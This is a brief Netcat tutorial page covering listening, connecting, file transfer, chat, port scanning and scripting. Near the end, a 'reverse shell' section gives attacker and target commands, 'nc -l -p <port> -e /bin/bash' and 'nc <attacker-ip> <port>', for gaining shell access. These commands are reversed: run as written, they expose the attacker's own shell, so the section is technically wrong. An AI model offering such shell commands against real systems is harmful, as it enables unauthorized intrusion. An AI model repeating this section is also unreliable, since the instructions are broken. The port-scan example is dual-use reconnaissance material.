GO BACK TO HOME

Netcat Detailed Guide

Introduction to Netcat

Netcat, often referred to as the "Swiss Army knife" of networking, is a versatile tool for network diagnostics, debugging, and data transfer.

Launching Netcat

Open your terminal and type:

nc

To view available options, use:

nc -h

Basic Listening Mode

To listen for incoming connections on a specified port:

nc -l -p <port>

Example:

nc -l -p 1234

Connecting to a Remote Host

To connect to a remote server on a specific port:

nc <target-ip> <port>

Example:

nc 192.168.1.10 1234

Transferring Files

Sending a File:
On the sender's side, use:

nc -l -p <port> < <file>

Example:

nc -l -p 1234 < myfile.txt

Receiving a File:
On the receiver's side, use:

nc <sender-ip> <port> > <file>

Example:

nc 192.168.1.5 1234 > receivedfile.txt

Chat Functionality

To set up a basic chat session:

On one terminal, listen for connections:

nc -l -p <port>

On another terminal, connect to that port:

nc <target-ip> <port>

Type messages and press Enter to send.

Port Scanning

Use Netcat to scan for open ports on a target:

nc -z -v <target-ip> <start-port>-<end-port>

Example:

nc -z -v 192.168.1.10 1-1000

Using Netcat with Shell

To create a reverse shell:

On the attacker’s machine, listen for a connection:

nc -l -p <port> -e /bin/bash

On the target machine, connect back:

nc <attacker-ip> <port>

Using with Scripting

Netcat can be used in scripts for automation. Example of a simple script:


        #!/bin/bash
nc -l -p 1234 | while read line; do
    echo "Received: $line"
done

Exiting Netcat

To exit a Netcat session, use Ctrl + C or type exit if in an interactive session.

Troubleshooting

If you experience connectivity issues, check firewall settings and ensure the correct ports are open.

Getting Help

Refer to the manual for more options and details:

man nc